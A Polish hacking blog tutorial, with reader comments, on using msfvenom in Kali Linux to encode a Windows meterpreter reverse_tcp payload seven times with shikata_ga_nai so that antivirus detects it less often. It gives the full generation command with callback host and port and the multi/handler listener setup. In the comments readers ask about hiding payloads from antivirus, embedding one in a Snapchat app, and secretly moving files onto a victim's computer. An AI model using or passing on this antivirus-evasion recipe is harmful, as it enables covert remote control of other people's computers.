Darmowy crypter wirusów msfvenom

W dzisiejszym wpisie pokażemy jak za pomocą programów takich jak MSFvenom w darmowym systemie operacyjnym Kali Linux zmniejszyć wykrywalność pliku typu malware. Naszym celem jest uzyskanie zmniejszonej wykrywalności wirusowej w narzędziach antywirusowych takich jak virustotal.com.

Nie jest to oczywiście jedyne tego typu oprogramowanie na rynku. Istnieją inne popularne rozwiązania takie jak Hyperion, Veil-Evasion lub Shellter.

Tego typu oprogramowanie nazywane jest crypterami, a więcej informacji o samym procesie ukrywania przed programami antywirusowymi znajdziesz w jednym z poprzednich wpisów pt. szyfrowanie plików w języku C++.

MSFvenom crypter (MSFencode)

Jak zwykle będziemy działać w znanym i lubianym przez nas darmowym systemie operacyjnym dla hakerów Kali Linux 2016.2. Wygenerujemy w nim potencjalnie złośliwy payload z wykorzystaniem dodatkowych parametrów opcjonalnych. W starych wersjach pakietu Metasploit Framework być może będziesz musiał użyć narzędzia MSFencode, zamiast MSFvenom. Jeżeli nie masz pojęcia czym tak naprawdę jest tajemniczy payload to obowiązkowo przeczytaj uważnie jeden z naszych poprzednich wpisów na ten temat:

Payload – hakerskie narzędzie msfvenom

Generujemy zaszyfrowany payload

W pierwszym kroku wyświetlmy listę dostępnych metod szyfrujących poniższym poleceniem:

msfvenom -l encoders

Metody szyfrujące zostały oznaczone atrybutem rank, który wskazuje na stabilność i niezawodność danego rozwiązania. Im atrybut rank jest wyższy, tym poziom entropii danych wyjściowych jest bardziej zróżnicowany. Oznacza to, że algorytm szyfrujący potrafi generować za każdym razem dane w sposób jeszcze bardziej losowy i unikatowy.

msfvenom encoders - zmniejszanie wykrywalności wirusów crypterem
Dostępne metody szyfrujące ładunek w narzędziu MSFvenom (dawniej MSFencode)

My w celach testowych wykorzystamy dosyć popularny polimorficzny crypter o nazwie x86/shikata_ga_nai. W celu wygenerowania ładunku za jego pomocą, wydaj w konsoli Kali Linux poniższe polecenie:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=23456 --platform=windows --arch=x86 -e x86/shikata_ga_nai -i 7 of exe > e_shikata.exe

Objaśnienie parametrów msfvenom

  • -p wskazujemy tutaj konkretny payload, który chcemy wygenerować,
  • LHOST adres IP z którym złośliwy ładunek ma się połączyć (komputer hakera),
  • LPORT port aplikacji z którym złośliwy ładunek ma się połączyć,
  • platform system na który dedykowany ma być ładunek,
  • –arch platforma na którą zoptymalizowany jest ładunek,
  • -e wybrany szyfrator,
  • -i ilość iteracji szyfrowania ładunku,
  • -f typ pliku wynikowego.
tekst alt
Zaszyfrowany 7 krotnie payload windows/meterpreter/reverse_tcp za pomocą cryptera o nazwie x86/shikata_ga_nai

Warto w tym momencie zwrócić uwagę na parametr -i. Za jego pomocą plik możemy tym samym algorytmem szyfrującym zaszyfrować wielokrotnie w sposób iteracyjny. To wszystko! Właśnie uzyskaliśmy nowy ładunek o potencjalnie zmniejszonej wykrywalności wirusowej. Polecam Tobie pobawić się parametrem ilości iteracji i dodatkowo innymi typami szyfratorów. Tak gotowy plik e_shikata.exe możemy przetestować czy działa w systemie Microsoft Windows. Warto również zainteresować się bardziej zaawansowanymi crypterami o nazwie Veil-Evasion, ShellterHyperion. Niektóre z nich wykorzystują możliwość generowania ładunku w postaci kodu źródłowego w języku programowania C/Python w pakiecie Metasploit Framework. Za pomocą wygenerowanego w pakiecie kodu wykonują dodatkowe autorskie modyfikacje, mające na celu ukrycie zamiarów złośliwego pliku wynikowego.

Oczekiwanie na połączenie multi/handler

Dla kompletności wywodu przypomnimy jak utworzyć połączenie oczekujące na uruchomiony payload w systemie Kali Linux. Wydaj następujące polecenia:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 16666
set 192.168.0.19
run

To na dzisiaj wszystko. Teraz już wiesz jak zmniejszyć wykrywalność wirusów komputerowych. Musisz mieć na uwadze, że programy antywirusowe stale dodają nowe sygnatury wirusowe do swoich baz danych, przez co zaprezentowane rozwiązania mogą bardzo szybko stać się wykrywalne. Przeciwśrodkiem na ten fakt jest napisanie swojego własnego polimorficznego cryptera zupełnie od zera w dowolnym języku programowania. Więcej o ładunkach obejrzysz również w naszym darmowym filmie na YouTubie dotyczącym ładunków payload dla smarftomów z Androidem. Powodzenia!

25 thoughts to “Darmowy crypter wirusów msfvenom”

  1. Witam! Czy jest możliwość stworzenia na metasploicie czegoś co mogło by przetestować i wykryć ewentualne luki w sterowniku drukarki? Coś w stylu robaka drukującego „O RLY?” 😀

    1. Pakiet Metaspolit Framework posiada narzędzia nie tylko na Windows/Mac/Linux/Android/Solaris ale i na wszystkie urządzenia sieciowe. Na drukarki też coś znajdziesz: https://community.rapid7.com/community/metasploit/blog/2014/01/24/hacking-printers-with-metasploit

      Jednak wersji oprogramowania i samych drukarech w przeciwieństwie do systemów oepracyjnych jest tak dużo, że wątpie że znajdziesz gdzieś podatną. Zazwyczaj takie żarty robi się przez serwer wydruku lub sieć wifi (domowe drukarki) bo większość jest niezabezpieczonych przed drukiem z obcych urządzeń.

  2. Pytanie z innej beczki, otoz ostatnio uczyłem się ataku mitm oraz obslugi beef-xss do hookowania przeglądarek. I o ile pracujac na virtualboxie bylem w stanie w swojej sieci lokalnej hooknac komputer matke tak drugiego laptopa juz nie.. tak jakby kali nieradzil sobie z większym ruchem w sieci.. czy jest to spowodowane tym ze system jest na vm?

    1. Komputer w wirtualnej maszynie jest pełnoprawnym komputerem w sieci. Jeśli wszystkie komputery są w tej samej sieci LAN (dla osób nie związanych z sieciami komputerowymi oznacza to że mają podobny adres IP z inną końcówką) to oznacza, ze takie testy powinny działać.

    2. A może to być winą zewnętrznej karty wifi? bo tyle o ile sprawdzałem to na kablu przez LAN błędów nie ma tak przez wifi juz są. Nawet bawiąc sie zwykłym mitm nie wyłapuje mi połowy pakietów w bettercapie. Posiadam TP-link wl722n.. dlatego zastanawiam się czy nie lepiej byłoby zrobić kali Linuxa wraz z win10 na dual bocie. Pozdrawiam i dzięki za odpowiedź

      1. W większości routerów sieć kablowa jest zupełnie inną siecią niż Wi-Fi (coś jakby osobne sieci LAN). Czy oba komputery działają po Wi-Fi lub eth (kabel) naraz?

    3. Tak, zresztą w mojej sieci na co dzień jest około 3-4 komputerów.. zwykły sniffing tez działa słabo i czy to z ustawień udostępniania internetu wirtualnej maszynie czy też poprzez usb z karty, dlatego zastanawiam sie czy nie przesiąść się na realny system.

      1. Ogólnie na wirtualnych maszynach zawsze będzie to tylko zabawa już przez samą wydajność patrząc. Wirtualizowanie sieci również jeszcze nie jest doskonałe w żadnym obecnie produkcie (żaden nie wirtualizuje kart bezprzewodowych). Możesz zawsze popróbować z Live CD bez instalacji na komputerze. Dodatkowo sam sniffing można wykonywać z systemu Windows. Wireshark jest dostępny na ten system.

  3. Zrobilbys kiedys wpis na temat jak maskowac takie payloady? Bawiac sie tym na virtualnej maszynie musialem wylaczyc wszystkie antywirusy bo kasowaly payloada. Da sie to jakos jeszcze zamaskowac? Jesli jest juz taki wpis to przepraszam ale wpisujac frazy typu „jak zamaskowac payload” itd nic nie wyskakiwalo.

    1. Bo Metasploit Framework jest publicznym profesjonalnym narzędziem do audytu. Logiczne jest że nawet po wydaniu nowej wersji pakietu, sygnatury wirusowe są dodawane nawet w ciągu kilku minut/godzin do baz danych programów antywirusowych bo wiedzą o ich istnieniu. Być może nawet sami autorzy pakiety zgłaszają fakt wydania nowych ładunków/crypterów i innych narzędzi.

      Jedynym wyjściem jest nauczyć się programować i napisać własnego cryptera na podstawie dowolnej znanej Ci funkcji kryptograficznej. W każdym innym przypadku praktycznie wykrywalność będzie duża.

      Zalążek tego tematu masz tutaj:
      https://www.haker.edu.pl/2015/10/07/szyfrowanie-plikow-xor-w-c/

      Chociaż akurat ta funkcja też już może być wykrywalna jeśli ktoś jej używał, bo jest też już publiczna (wtedy nie była).

  4. A znasz sposób ale o program,który może pomóc odszyfrowac danego virusa? Taka trochę zabawa z inżynieria wsteczną

    1. Trzeba to zrobić tak jak robią to laboratoria antywirusowe. Debbuger i hex Editor (np: gdb). Najpierw musisz sobie na przeanalizować plik wykonywany, zaleźć funkcje odszyfrowującą i klucz odszyfrujący. Potem musisz napisać na jej podstawie w dowolnym języku programowania taką samą funkcje np: w C++ no i rozmienić jeszcze gdzie zaszyfrowana część z wirusem się znajduje. Może być to zarówno zasób aplikacji (resources) jak i np: w samym kodzie (techniki run pe). Teraz za pomocą swojej aplikacji wystarczy że odszyfrujesz to czege potrzebujesz. Ogólnie wymaga to olbrzymiej wiedzy na temat plików wykonywalnych, pamięci, języka ASM. I nie jest to zabawa z inżynierią wsteczną, tylko to jest inżynieria wsteczna. Tak się bada np: rozwiązania w aplikacjach konkurencji, malware i wiele wiele innych.

      1. Go raczej tego nie ruszę. A mam właśnie taki program do rozgryzienia.
        Zapomniałem dodac. Może mi pomóc w tym to,że wiem przy pomocy jakiego cryptera został scryptowany?

        1. Wcale się nie interesuje i nigdy nie interesiwałem RE. Nazwa cryptera Ci nic nie da, bo raczej nikt nie udostępnił do niego kodu źródłowego. Nawet na studiach jak miałem przedmiot to nie przykładałem się do niego. Dla mnie jest to nieciekawe. Polecam wyguglować blog autora „GynvaelColdwind”.

  5. Udało mi się ładnie ukryć venoma w Snapchacie czy innej apcje. Modyfikacja uprawnień aplikacji (to o co pyta Android przed instalacją) to także nic trudnego. Jednak nigdzie nie mogę dojść do tego – jak włączamy np. tego Snapchata i razem z tym włącza się venom, to aby po wyłączeniu Snapa venom nadal działał gdzieś w tle lub coś tego typu.

  6. Czesc, na win 8 nie moge uruchomic virusa, dostaje komunikat ze plik nie jest kompatybilny z moim systemem.
    CO moze byc powodem?

    1. Być może zanim go zdążyłeś dostarczyć do systemu operacyjnego Windows 8.1 został on unieszkodliwiony przez program antywirusowy? Być może to nawet Windows Defender.

  7. który szyfrator w msfvenom jest na systemy x64 ?
    i jeszcze z innej beczki pytanie czy wiesz jak stworzyc plik ktory po jego uruchomieniu bedzie przerzucal wybrane przez nas pliki na komputer ofiary bez jego wiedzy ?

    1. Polecam polecenie msfvenom -h
      Tam zobaczysz takie ciekawe parametry:
      -a, --arch <arch> The architecture to use --platform <platform> The platform of the payload --help-platforms List available platforms
      Pamiętaj też, że aplikacje 32 bitowe są kompatybilne z architekturą 64 bitową a już w drugą stronę nie.

  8. Mam problem, gdy stworzę exploita na android, uruchamiam pobraną aplikację (z eksploitem), w konsoli kali Linux pokazuje że x sesja otwarta, i normalnie powinienem móc wpisać np. webcam_snap to komendy nie działają, nawet po wpisaniu help nie mam tam tych komend. (Może to wina że używam systemu z płyty Live CD? Albo dlatego że płytę mam z gazetki komputer świat?)

  9. Hej mam pytanko korzystam z linux BackBox i chcialbym przeniesc plik z linuxa na windowsa nie moge wyslac email by mi internet w linuxsie nie dziala co zrobic ?

  10. Hej! Mam pytanie dotyczące metasploita. Ostatnio wykryłem na komputerze domowym luke MS17-010 ,ale niestety mój antywirus Avast blokował możliwość wykorzystania jej. Czy da się jakoś ukryć ten payload ,aby antywirus go nie wykrywał?

  11. Siemka! Mam problem, a mianowicie, kiedy próbuję uruchmić tak spreparowany plik na moim drugim komputerze wyskakuje błąd : „ta aplikacja nie będzie działać na twoim komputerze” przy czym kiedy próbuję uruchomić plik który nie ma cryptera program uruchamia się normalnie.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *